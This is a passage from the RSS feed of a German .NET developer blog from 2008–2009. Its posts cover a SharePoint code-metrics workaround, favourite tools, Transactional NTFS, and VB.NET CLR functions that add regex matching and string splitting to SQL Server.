		<link>http://www.xentrope.de/allgemein/the-following-error-was-encountered-while-reading-module-microsoftsharepoint-could-not-resolve-type-tobjectmodel/</link>
		<comments>http://www.xentrope.de/allgemein/the-following-error-was-encountered-while-reading-module-microsoftsharepoint-could-not-resolve-type-tobjectmodel/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 18:17:34 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[Code Metrics]]></category>
		<category><![CDATA[Microsoft SharePoint]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=147</guid>
		<description><![CDATA[Bei Projekten mit einer Referenz auf die &#8220;Microsoft.SharePoint.dll&#8221; laufen keine Code Metric Analysen. Der Grund ist nach einer kurzen Google-Recherche auch schnell gefunden: Ein Bug im Visual Studio 2008. Ein Workaround gibts auch dazu: Man muss lediglich eine Referenz auf die &#8220;C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\12\ISAPI\Microsoft.SharePoint.Security.dll&#8221; einbinden, dann klappts auch mit der Analyse.]]></description>
			<content:encoded><![CDATA[<p>Bei Projekten mit einer Referenz auf die &#8220;Microsoft.SharePoint.dll&#8221; laufen keine Code Metric Analysen. Der Grund ist nach einer kurzen Google-Recherche auch schnell gefunden: Ein Bug im Visual Studio 2008.<br />
Ein <a href="https://connect.microsoft.com/VisualStudio/feedback/Workaround.aspx?FeedbackID=324796">Workaround </a>gibts auch dazu: Man muss lediglich eine Referenz auf die &#8220;C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\12\ISAPI\Microsoft.SharePoint.Security.dll&#8221; einbinden, dann klappts auch mit der Analyse.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/the-following-error-was-encountered-while-reading-module-microsoftsharepoint-could-not-resolve-type-tobjectmodel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Meine Top 3 Tools</title>
		<link>http://www.xentrope.de/allgemein/meine-top-3-tools/</link>
		<comments>http://www.xentrope.de/allgemein/meine-top-3-tools/#comments</comments>
		<pubDate>Mon, 18 May 2009 05:33:04 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[Blogparade]]></category>
		<category><![CDATA[MSDN]]></category>
		<category><![CDATA[Power Tools]]></category>
		<category><![CDATA[Sandcastle]]></category>
		<category><![CDATA[Team Foundation]]></category>
		<category><![CDATA[WSPBuilder]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=133</guid>
		<description><![CDATA[Nach langer Zeit melde ich mich auch mal wieder zurück, heute mit meinen Top 3 Tools zur Entwicklung. Da ich mit und für SharePoint entwickle nutze ich den WSPBuilder. Dieses Tool nimmt einem viel manuelle Arbeit bei der Entwicklung ab (Anhängen an die IIS Prozesse zum Debuggen, viele Itemtemplates, leichte Konfigurierbarkeit und große Erweiterbarkeit) Sandcastle in [...]]]></description>
			<content:encoded><![CDATA[<p>Nach langer Zeit melde ich mich auch mal wieder zurück, heute mit meinen <a href="http://blogs.msdn.com/softwarehersteller/archive/2009/05/06/msdn-blog-parade-was-sind-ihre-lieblings-entwickler-tools-mitmachen-und-gewinnen.aspx">Top 3 Tools zur Entwicklung</a>.</p>
<ol>
<li>Da ich mit und für SharePoint entwickle nutze ich den <a href="http://wspbuilder.codeplex.com/">WSPBuilder</a>. Dieses Tool nimmt einem viel manuelle Arbeit bei der Entwicklung ab (Anhängen an die IIS Prozesse zum Debuggen, viele Itemtemplates, leichte Konfigurierbarkeit und große Erweiterbarkeit)</li>
<li><a href="http://sandcastle.codeplex.com/">Sandcastle</a> in Verbindung mit dem <a href="http://shfb.codeplex.com/">Sandcastle Help File Builder</a>. Diese beiden Tools ersparen sehr viel Arbeit bei der Generierung von ansprechenden Dokumentationen. Man muss nicht mehr selbst die HTML Files erstellen und in ein CHM packen, einfach in die Post-Build Action der Release Version diese beiden Tools integrieren und man bekommt zu jedem neuen Release eine komplette Dokumentation für den Kunden. Einfach, praktisch, gut.</li>
<li>Die <a href="http://msdn.microsoft.com/en-us/teamsystem/bb980963.aspx">Team Foundation Power Tools</a> ! Unverzichtbar bei der Entwicklung, vor allem aber beim Projektstart und der Projektvorbereitung. Wer den Team Foundation Server nutzt und diese Tools nicht einsetzt ist selber Schuld. :)</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/meine-top-3-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Transactional NTFS: Ein totes Pferd?</title>
		<link>http://www.xentrope.de/allgemein/transactional-ntfs-ein-totes-pferd/</link>
		<comments>http://www.xentrope.de/allgemein/transactional-ntfs-ein-totes-pferd/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 15:35:02 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[NTFS]]></category>
		<category><![CDATA[Transactional NTFS]]></category>
		<category><![CDATA[Transaktion]]></category>
		<category><![CDATA[Vista]]></category>
		<category><![CDATA[Windows Server 2008]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=126</guid>
		<description><![CDATA[Mit Vista bzw. dem Server 2008 ist das neue Transactional NTFS ebenfalls verfügbar. Höchste Zeit also, sich dieses Stück Technik auch mal anzusehen. Worum es sich dabei genau handelt möchte ich an dieser Stelle nicht großartig durchkauen, das kann man sich hier (Wikipedia) oder hier (Transactional NTFS Blog von Microsoft) durchlesen. Kurz gesagt, man kann [...]]]></description>
			<content:encoded><![CDATA[<p>Mit Vista bzw. dem Server 2008 ist das neue Transactional NTFS ebenfalls verfügbar. Höchste Zeit also, sich dieses Stück Technik auch mal anzusehen. Worum es sich dabei genau handelt möchte ich an dieser Stelle nicht großartig durchkauen, das kann man sich <a href="http://en.wikipedia.org/wiki/Transactional_NTFS">hier (Wikipedia)</a> oder <a href="http://blogs.msdn.com/because_we_can/">hier (Transactional NTFS Blog von Microsoft)</a> durchlesen. Kurz gesagt, man kann damit Dateioperationen innerhalb von <a href="http://de.wikipedia.org/wiki/Transaktion_(Informatik)">Transaktionen</a> durchführen. Das ganze ist an die Transaktionen bei Datenbanksystemen angelegt; Man gruppiert also mehrere Arbeitsschritte in einer &#8220;LUW&#8221; (Logical Units of Work). Beim Abschließen einer Transaktion kann man dann die Ergebnisse entweder in den Datenspeicher übernehmen (Commit) oder verwerfen (Rollback).</p>
<p>Ein super Beispiel wie man das unter .NET verwendet findet man im Channel9. <a href="http://mschnlnine.vo.llnwd.net/d1/ch9/8/0/0/3/5/2/289808_TxFSandbox.zip">Hier</a> gibt es eine komplette Solution mit verschiedenen Szenarien (TxF Only, TxF and SQL, TxF and WCF). Und auch die MSDN liefert einige <a href="http://msdn.microsoft.com/en-us/library/bb968806(VS.85).aspx">Informationen zum Thema</a>. Das hört sich ja alles schonmal ganz praktisch an.</p>
<p>Das KO-Kriterium für diese Technik ist allerdings folgendes:</p>
<blockquote><p>
Unsupported Scenarios<br />
TxF does not support the following transaction scenarios:<br />
- Transactions on network volumes, for example on file shares. TxF is not supported by the CIFS/SMB protocols.<br />
- Transacted operations against files cached by client-side caching.
</p></blockquote>
<p>Nun, bei diesen Einschränkungen fällt mir kein praktisches Einsatzszenario für diese Technik ein&#8230; Soviel dann also zum Thema &#8220;Totes Pferd&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/transactional-ntfs-ein-totes-pferd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Regular Expressions in SQL</title>
		<link>http://www.xentrope.de/visual-studio/regular-expressions-in-sql/</link>
		<comments>http://www.xentrope.de/visual-studio/regular-expressions-in-sql/#comments</comments>
		<pubDate>Thu, 04 Sep 2008 08:35:35 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[.Net 2]]></category>
		<category><![CDATA[Regular Expression]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[SQL 2008]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=105</guid>
		<description><![CDATA[Gestern hatte ich ja schon die Basics für SQL-CLR Integration beschrieben, heute treiben wir das mal weiter auf die Spitze: Wir wollen Regular Expressions im SQL Server nutzen. Dazu erweitern wir uns ersteinmal die Klasse um drei neue Funktionen: RegEx_HasMatches soll uns sagen ob überhaupt Matches auftreten RegEx_MatchCount soll uns sagen wie viele Matches auftreten [...]]]></description>
			<content:encoded><![CDATA[<p>Gestern hatte ich ja schon die Basics für SQL-CLR Integration beschrieben, heute treiben wir das mal weiter auf die Spitze: Wir wollen <a href="http://de.wikipedia.org/wiki/Regular_Expression">Regular Expressions</a> im SQL Server nutzen.<br />
Dazu erweitern wir uns ersteinmal die Klasse um drei neue Funktionen:</p>
<ul>
<li><b>RegEx_HasMatches</b> soll uns sagen ob überhaupt Matches auftreten</li>
<li><b>RegEx_MatchCount</b> soll uns sagen wie viele Matches auftreten</li>
<li><b>RegEx_GetMatches</b> soll uns die Matches aufsgeben</li>
</ul>
<p>Für die Copy+Paster unter euch ;) :</p>
<pre name="code" class="html:nocontrols:VB.Net">
    &lt;SqlFunction()&gt; _
    Public Shared Function RegEx_HasMatches(ByVal inputstring As SqlString, ByVal regexstring As SqlString) As SqlBoolean
        If Regex.Matches(inputstring.Value, regexstring.Value, RegexOptions.IgnoreCase).Count > 0 Then
            Return True
        Else
            Return False
        End If
    End Function

    &lt;SqlFunction()&gt; _
    Public Shared Function RegEx_MatchCount(ByVal inputstring As SqlString, ByVal regexstring As SqlString) As SqlInt64
        Return Regex.Matches(inputstring.Value, regexstring.Value, RegexOptions.IgnoreCase).Count
    End Function

    &lt;SqlFunction()&gt; _
    Public Shared Sub RegEx_GetMatches(ByVal inputstring As SqlString, ByVal regexstring As SqlString)
        Dim mc As MatchCollection = Regex.Matches(inputstring.Value, regexstring.Value, RegexOptions.IgnoreCase)
        Dim result As New SqlDataRecord(New SqlMetaData("Match", SqlDbType.NVarChar, 4000))
        Dim pipe As SqlPipe = SqlContext.Pipe
        pipe.SendResultsStart(result)
        For Each item As Match In mc
            result.SetString(0, item.Value)
            pipe.SendResultsRow(result)
        Next
        pipe.SendResultsEnd()
    End Sub
</pre>
<p>Nach dem Bereitstellen können wir das ganze auch schon testen:</p>
<pre name="code" class="html:nocontrols:SQL">
declare @inputstring nvarchar(4000)
set @inputstring= 'My favorite web sites include:
	&lt;/P&gt;&lt;A HREF="http://www.xentrope.de"&gt;Xylon''s Blog&lt;/A&gt;&lt;/P&gt;
	&lt;A HREF="http://dotnet-forum.de"&gt;.NET Forum&lt;/A&gt;&lt;/P&gt;
	&lt;A HREF="http://blogs.msdn.com/bclteam"&gt;.NET Base Class Library blog&lt;/A&gt;&lt;/P&gt;'

declare @regexstring nvarchar(4000)
set @regexstring = 'href\s*=\s*(?:"(?<1>[^"]*)"|(?<1>\S+))'

select dbo.RegEx_HasMatches(@inputstring,@regexstring) 'HasMatches'
	,dbo.RegEx_MatchCount(@inputstring,@regexstring) 'Nr of Matches'
exec dbo.RegEx_GetMatches @inputstring,@regexstring
</pre>
<p>Und als Ergebnisse bekommen wir:</p>
<pre name="code" class="html:nocontrols:text">
HasMatches	Nr of Matches
1			3

Match
HREF="http://www.xentrope.de"
HREF="http://dotnet-forum.de"
HREF="http://blogs.msdn.com/bclteam"
</pre>
<p>Coole Sache! :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/regular-expressions-in-sql/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Split Funktion mittels CLR</title>
		<link>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/</link>
		<comments>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 09:00:21 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[CLR]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[Split]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[VB.Net]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=95</guid>
		<description><![CDATA[Eine beliebte Stringfunktion fehler leider nach wie vor im SLQ Server: Split. Das hat sich auch mit dem neuen SQL Server 2008 immer noch nicht geändert. Ich hatte ja schon mal eine Splitfunktion gepostet, möchte dies aber jetzt als CLR Funktion implementieren. Lange Reder kurzer Sinn: Man erstellt im Visual Studio ein neues Datenbankprojekt. In [...]]]></description>
			<content:encoded><![CDATA[<p>Eine beliebte Stringfunktion fehler leider nach wie vor im SLQ Server: Split. Das hat sich auch mit dem neuen SQL Server 2008 immer noch nicht geändert. Ich hatte ja schon mal eine <a href="http://www.xentrope.de/2008/04/split-funktion-fur-mssql-2000/">Splitfunktion gepostet</a>, möchte dies aber jetzt als CLR Funktion implementieren. Lange Reder kurzer Sinn:  </p>
<ul>
<li>Man erstellt im Visual Studio ein neues Datenbankprojekt.</li>
<li>In den Projekteinstellungen sollte die Assembly signiert werden (Einstellungen &#8211; Signing &#8211; Sign the assembly)</li>
<li>Unter dem Karteireiter &#8220;Database&#8221; kann vorerst das Permissionlevel auf Safe bleiben, da wir ja keine externen Resources ansprechen wollen.<br />
Safe = Zugriff auf Daten des eigenen SQL Servers über den In-process Managed Provider<br />
External = Zugriff auf externe Resourcen ist erlaubt<br />
Unsafe = Es kann unmanaged Code ausgeführt werden<br />
Erhält man eine Fehlermeldung beim Bereitstellen der Assembly, kann es daran liegen das der Datenbank nicht vertraut wird. Dann sollte man die Trustworthy Eigenschaft setzen:</p>
<pre name="code" class="html:nocontrols:SQL">
Alter Database [DB] Set Trustworthy on
</pre>
</li>
<li>Man fügt dem Projekt eine neue Klasse hinzu, ich habe sie einfach &#8220;Stringfunctions&#8221; genannt.</li>
<li>Dieser Klasse fügen wir eine Prozedur hinzu:
<pre name="code" class="html:nocontrols:VB.Net">
    &lt;SqlProcedure()&gt; _
    Public Shared Sub Split(ByVal Input As SqlString, ByVal Delimiter As SqlString)
        Dim pipe As SqlPipe = SqlContext.Pipe
        Dim splittet() As String = Input.Value.Split(Delimiter.Value.ToCharArray)
        Dim reslist As New List(Of SqlMetaData)
        For i As Integer = 0 To splittet.Length - 1
            reslist.Add(New SqlMetaData("Col" + i.ToString(), SqlDbType.NVarChar, 4000))
        Next
        Dim result As New SqlDataRecord(reslist.ToArray())
        For i As Integer = 0 To splittet.Length - 1
            result.SetString(i, splittet(i))
        Next
        pipe.Send(result)
    End Sub
</pre>
<p>Das Attribut SqlProcedure() sorgt dafür, das beim Bereitstellen automatisch eine neue Stored Procedure angelegt wird. Als Parameter der Prozedur übergeben wir zwei SQLStrings: Input und Delimiter. Wofür diese stehen sagen die Namen ja schon&#8230; ;) Um die Anzahl der notwendigen Spalten in unserer Ergnistabelle zu ermitteln legen wir uns ersteinmal eine neue Liste mit Spaltendefinitionen an. Danach wird unsere Ergebnistabelle erstellt: </p>
<pre name="code" class="html:nocontrols:VB.Net">
Dim result As New SqlDataRecord(reslist.ToArray())
</pre>
<p>Jetzt können wir endlich alle Elemente aus dem Array in die Ergebnistabelle schreiben und zurückgeben:</p>
<pre name="code" class="html:nocontrols:SQL">
For i As Integer = 0 To splittet.Length - 1
	result.SetString(i, splittet(i))
Next
pipe.Send(result)
</pre>
<p>Die Verwendung der Funktion ist denkbar einfach:  </p>
<pre name="code" class="html:nocontrols:SQL">
exec Split 'feld1;feld2;feld3;feld4;feld5;feld6;feld7',';'
</pre>
<p>Und liefert uns eine Tabelle zurück:</p>
<pre name="code" class="html:nocontrols:Text">
 Col0	Col1	Col2	Col3	Col4	Col5	Col6
 feld1	feld2	feld3	feld4	feld5	feld6	feld7
 </pre>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
